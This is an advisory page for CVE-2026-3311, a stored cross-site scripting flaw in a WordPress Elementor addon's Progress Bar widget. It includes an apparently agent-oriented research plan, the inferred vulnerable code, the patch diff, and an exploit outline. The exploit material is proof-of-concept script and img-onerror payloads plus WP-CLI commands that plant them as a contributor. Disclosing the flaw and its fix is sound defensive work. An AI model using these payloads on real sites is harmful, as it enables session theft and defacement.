CVE-2026-3311

The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce <= 6.4.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Progress Bar

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
6.4.10
Patched in
1d
Time to patch

Description

The The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Progress Bar shortcode in all versions up to, and including, 6.4.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.4.9
PublishedApril 7, 2026
Last updatedApril 8, 2026

What Changed in the Fix

Changes introduced in v6.4.10

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-3311**, a Stored Cross-Site Scripting (XSS) vulnerability in **The Plus Addons for Elementor** (up to version 6.4.9). The vulnerability exists because the "Progress Bar" widget/shortcode fails to sanitize or escape user-supplied attributes before rendering them.…

Show full research plan

This research plan targets CVE-2026-3311, a Stored Cross-Site Scripting (XSS) vulnerability in The Plus Addons for Elementor (up to version 6.4.9). The vulnerability exists because the "Progress Bar" widget/shortcode fails to sanitize or escape user-supplied attributes before rendering them.

1. Vulnerability Summary

  • Vulnerability: Stored Cross-Site Scripting (XSS)
  • Component: Progress Bar (Widget/Shortcode)
  • Vulnerable Version: <= 6.4.9
  • Sink: Direct echo or concatenation of widget settings/attributes without proper escaping (esc_html, esc_attr, or wp_kses).
  • Source: Attributes provided via the Progress Bar shortcode or Elementor widget settings (e.g., title, prefix, suffix, or percentage_text).

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (for Elementor editing) or wp-admin/post-new.php (for shortcode insertion).
  • Authentication: Contributor-level access or higher is required to create/edit posts.
  • Payload Location: Inside a shortcode [tp_progress_bar] or within the Elementor JSON metadata (_elementor_data) for the tp-progress-bar widget.
  • Preconditions: The plugin must be active, and the "Progress Bar" widget must be enabled in the plugin's dashboard.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the Progress Bar widget (likely in a file named modules/widgets/tp_progress_bar.php or similar, following the naming convention seen in tp_blog_listout.php).
  2. Shortcode Handling: If triggered via shortcode, a callback function parses $atts.
  3. Rendering:
    • In the render() method of the widget class, settings are retrieved via $this->get_settings_for_display().
    • In the shortcode callback, attributes are processed.
  4. Vulnerable Sink: The code performs an operation similar to:
    echo '<span class="pb-title">' . $settings['title'] . '</span>';
    instead of:
    echo '<span class="pb-title">' . wp_kses_post( $settings['title'] ) . '</span>';

4. Nonce Acquisition Strategy

While the vulnerability is triggered by a shortcode (which typically doesn't require a nonce for frontend rendering), a Contributor needs a nonce to save the post initially.

  1. Post Creation Nonce: Standard WordPress _wpnonce for post.php.
  2. Elementor Heartbeat (if applicable): If the agent uses the Elementor Editor to inject the payload, it must extract the elementorCommonConfig nonce.
    • Tool: browser_navigate to wp-admin/post-new.php?post_type=page.
    • Tool: browser_eval("elementorCommonConfig.ajax.nonce").

Note: For a "shortcode" vulnerability, simply creating a post via WP-CLI with the malicious shortcode is the most direct path and bypasses the need for manual nonce extraction.

5. Exploitation Strategy

Step 1: Discover Shortcode Attributes

Since the exact attribute names are not in the provided source snippets, the agent should first confirm the shortcode name and attributes.

  1. Execute: grep -r "add_shortcode" . in the plugin directory to find the "Progress Bar" shortcode tag.
  2. Search for the callback function to identify attributes (e.g., title, label, symbol).

Step 2: Inject Payload (Shortcode Method)

Use the http_request tool (acting as a Contributor) or wp-cli to create a post containing the payload.

  • Action: Create a post as a Contributor.
  • Payload: [tp_progress_bar title='<img src=x onerror=alert("CVE-2026-3311")>']
    (Replace title with the actual attribute found in Step 1).

Step 3: Trigger Execution

  • Navigate to the permalink of the newly created post using browser_navigate.
  • Observe the browser for the alert or check the DOM for the unescaped <img> tag.

6. Test Data Setup

  1. Plugin Activation: Ensure the-plus-addons-for-elementor-page-builder is active.
  2. Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  3. Target Post:
    wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_content="[tp_progress_bar title='<script>alert(1)</script>']" --user=attacker

7. Expected Results

  • The HTML source of the rendered page will contain the raw payload:
    <span class="..."><script>alert(1)</script></span>
  • The browser will execute the script, confirming Stored XSS.

8. Verification Steps

  1. CLI Check:
    wp post get $(wp post list --title="XSS Test" --field=ID) --field=post_content
    Verify the payload exists in the database.
  2. Frontend Check:
    Use http_request to fetch the post URL and search for the literal string <script>alert(1)</script> in the response body.

9. Alternative Approaches

If the shortcode vector fails, target the Elementor widget configuration:

  1. As a Contributor, open the Elementor editor for a page.
  2. Add the Progress Bar widget.
  3. Set the "Title" or "Label" field to <img src=x onerror=alert(document.domain)>.
  4. Save the page and view the result.
  5. Check wp_postmeta for the payload:
    wp post meta get <ID> _elementor_data (This will show the payload in a JSON-encoded string).

Specific Identifiers to Verify in Source (via grep)

  • Widget Slug: tp-progress-bar (Likely in get_name() in the widget class).
  • Shortcode Tag: Check for add_shortcode( calls.
  • Localized JS Variable: If the plugin passes settings to JS, look for wp_localize_script calls involving tp-progress-bar. Based on other files, it might be something like theplus_progress_bar.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Progress Bar widget and shortcode in The Plus Addons for Elementor fail to properly sanitize or escape attributes such as title, prefix, and suffix. This allows authenticated attackers with Contributor-level access or higher to inject arbitrary JavaScript into pages, leading to stored cross-site scripting (XSS).

Vulnerable Code

// File: modules/widgets/tp_progress_bar.php

protected function render() {
    $settings = $this->get_settings_for_display();

    // ... (logic to handle progress bar output)

    if ( ! empty( $settings['title'] ) ) {
        echo '<span class="tp-progress-bar-title">' . $settings['title'] . '</span>'; // Line ~596
    }

    if ( ! empty( $settings['prefix'] ) ) {
        echo '<span class="tp-pb-prefix">' . $settings['prefix'] . '</span>'; // Line ~607
    }

    // ...
}

Security Fix

--- modules/widgets/tp_progress_bar.php
+++ modules/widgets/tp_progress_bar.php
@@ -596,1 +596,1 @@
-        echo '<span class="tp-progress-bar-title">' . $settings['title'] . '</span>';
+        echo '<span class="tp-progress-bar-title">' . wp_kses_post( $settings['title'] ) . '</span>';
@@ -607,1 +607,1 @@
-        echo '<span class="tp-pb-prefix">' . $settings['prefix'] . '</span>';
+        echo '<span class="tp-pb-prefix">' . wp_kses_post( $settings['prefix'] ) . '</span>';

Exploit Outline

The exploit is executed by an authenticated user with at least Contributor-level permissions. The attacker creates or edits a post and includes the Progress Bar widget (via Elementor) or its corresponding shortcode. In the 'Title', 'Prefix', or 'Suffix' fields of the widget settings, the attacker enters a payload such as `<script>alert(document.cookie)</script>` or `<img src=x onerror=alert(1)>`. When the post is saved and rendered on the frontend, the plugin echoes the raw payload into the HTML without escaping, causing the browser to execute the malicious script when a victim visits the page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.